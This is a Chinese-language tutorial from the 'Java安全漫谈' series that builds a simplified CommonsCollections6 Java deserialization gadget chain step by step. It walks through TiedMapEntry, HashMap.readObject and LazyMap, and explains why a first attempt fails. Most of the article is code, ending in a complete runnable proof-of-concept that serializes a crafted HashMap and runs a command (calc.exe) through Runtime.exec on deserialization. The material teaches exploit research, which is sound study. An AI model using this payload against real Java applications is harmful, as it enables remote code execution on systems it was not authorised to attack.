手工编写简化版CommonsCollections6，带你实现Java8全版本反序列化利用

这是代码审计知识星球中《Java安全漫谈》的第十二篇文章。

本文带大家编写一个简化版的CommonsCollections6利用链，代码量相比于ysoserial减少50%，能够让大家更好理解。

上一篇文章我们详细分析了CommonsCollections1这个利用链和其中的LazyMap原理。但是我们说到，在Java 8u71以后，这个利用链不能再利用了，主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了。

在ysoserial中，CommonsCollections6可以说是commons-collections这个库中相对比较通用的利用链，为了解决高版本Java的利用问题，我们先来看看这个利用链。

不过，本文我不会按照ysoserial中的代码进行讲解，原因是ysoserial的代码过于复杂了，而且其实用到了一些没必要的类。

我们先看下我这条简化版利用链：

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashMap.readObject()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
*/

我们需要看的主要是从最开始到org.apache.commons.collections.map.LazyMap.get()的那一部分，因为LazyMap#get后面的部分在上一篇文章里已经说了。所以简单来说，解决Java高版本利用问题，实际上就是在找上下文中是否还有其他调用LazyMap#get()的地方。

我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry，在其getValue方法中调用了this.map.get，而其hashCode方法调用了getValue方法：

package org.apache.commons.collections.keyvalue;


import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;


public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;


public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
    }


public Object getKey() {
return this.key;
    }


public Object getValue() {
return this.map.get(this.key);
    }


// ...


public int hashCode() {
        Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }


// ...
}

所以，欲触发LazyMap利用链，要找到就是哪里调用了TiedMapEntry#hashCode。

ysoserial中，是利用java.util.HashSet#readObject到HashMap#put()到HashMap#hash(key)最后到TiedMapEntry#hashCode()。

实际上我发现，在java.util.HashMap#readObject中就可以找到HashMap#hash()的调用，去掉了最前面的两次调用：

public class HashMap extends AbstractMap
    implements Map, Cloneable, Serializable {


    // ...


    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }


    // ...


    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        // ...


            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在HashMap的readObject方法中，调用到了hash(key)，而hash方法中，调用到了key.hashCode()。所以，我们只需要让这个key等于TiedMapEntry对象，即可连接上前面的分析过程，构成一个完整的Gadget。

构造Gadget代码

说干就干，我们开始编写代码。

首先，我们先把恶意LazyMap构造出来：

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class,
                                                     Class[].class }, new Object[] { "getRuntime",
                                                                                    new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class,
                                                  Object[].class }, new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new String[] { "calc.exe" }),
    new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);


Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

上述代码，就像我在《Java安全漫谈 - 11.反序列化篇(5)》中说过的，为了避免本地调试时触发命令执行，我构造LazyMap的时候先用了一个人畜无害的fakeTransformers对象，等最后要生成Payload的时候，再把真正的transformers替换进去。

现在，我拿到了一个恶意的LazyMap对象outerMap，将其作为TiedMapEntry的map属性：

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着，为了调用TiedMapEntry#hashCode()，我们需要将tme对象作为HashMap的一个key。注意，这里我们需要新建一个HashMap，而不是用之前LazyMap利用链里的那个HashMap，两者没任何关系：

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后，我就可以将这个expMap作为对象来序列化了，不过，别忘了将真正的transformers数组设置进来：

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);


// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

执行！

Nothing happend！并没有弹出计算器，这是为什么？

为什么我们构造的Gadget没有成功执行命令？

我们来反思一下，为什么我们构造的Gadget没有成功执行命令？

单步调试一下，你会发现关键点在LazyMap的get方法，下图我画框的部分，就是最后触发命令执行的transform()，但是这个if语句并没有进入，因为map.containsKey(key)的结果是true：

这是为什么呢？outerMap中我并没有放入一个key是keykey的对象呀？

我们看下之前的代码，唯一出现keykey的地方就是在TiedMapEntry的构造函数里，但TiedMapEntry的构造函数并没有修改outerMap：

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);


TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");


Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

其实，这个关键点就出在expMap.put(tme, "valuevalue");这个语句里面。

HashMap的put方法中，也有调用到hash(key)：

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

这里就导致LazyMap这个利用链在这里被调用了一遍，因为我前面用了fakeTransformers，所以此时并没有触发命令执行，但实际上也对我们构造Payload产生了影响。

我们的解决方法也很简单，只需要将keykey这个Key，再从outerMap中移除即可：outerMap.remove("keykey")。

最后，我构造的完整POC如下，代码也可以在Github上找到：

package com.govuln;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);


        // 不再使用原CommonsCollections6中的HashSet，直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);


        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");


        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");


        outerMap.remove("keykey");


        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

大家可以对比一下，相比于ysoserial的CommonsCollections6的代码长度和理解的难度，我这个简化版是不是方便理解得多，实际上原理是类似的，并不是一个新的利用链。

这个利用链可以在Java 7和8的高版本触发，没有版本限制：

当然，我并不是说自己简化的Gadget一定比ysoserial原版要好，毕竟原版的很多代码会考虑的更加全面，在实战中能应对更多复杂的情况。但就单从初学者理解的角度看，我这个简化版肯定是更加方便理解和学习的，相信这篇文章也能给大家带来一些启发。

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阅读全系列文章：

• Java安全漫谈 - 01.反射篇(1)

• Java安全漫谈 - 02.反射篇(2)

• Java安全漫谈 - 03.反射篇(3)

• Java安全漫谈 - 04.RMI篇(1)

• Java安全漫谈 - 05.RMI篇(2)

• Java安全漫谈 - 06.RMI篇(3)

• Java安全漫谈 - 07.反序列化篇(1)

• Java安全漫谈 - 08.反序列化篇(2)

• Java安全漫谈 - 09.反序列化篇(3)

• Java安全漫谈 - 10.反序列化篇(4)

• Java安全漫谈 - 11.反序列化篇(5)

• Java安全漫谈 - 12.反序列化篇(6)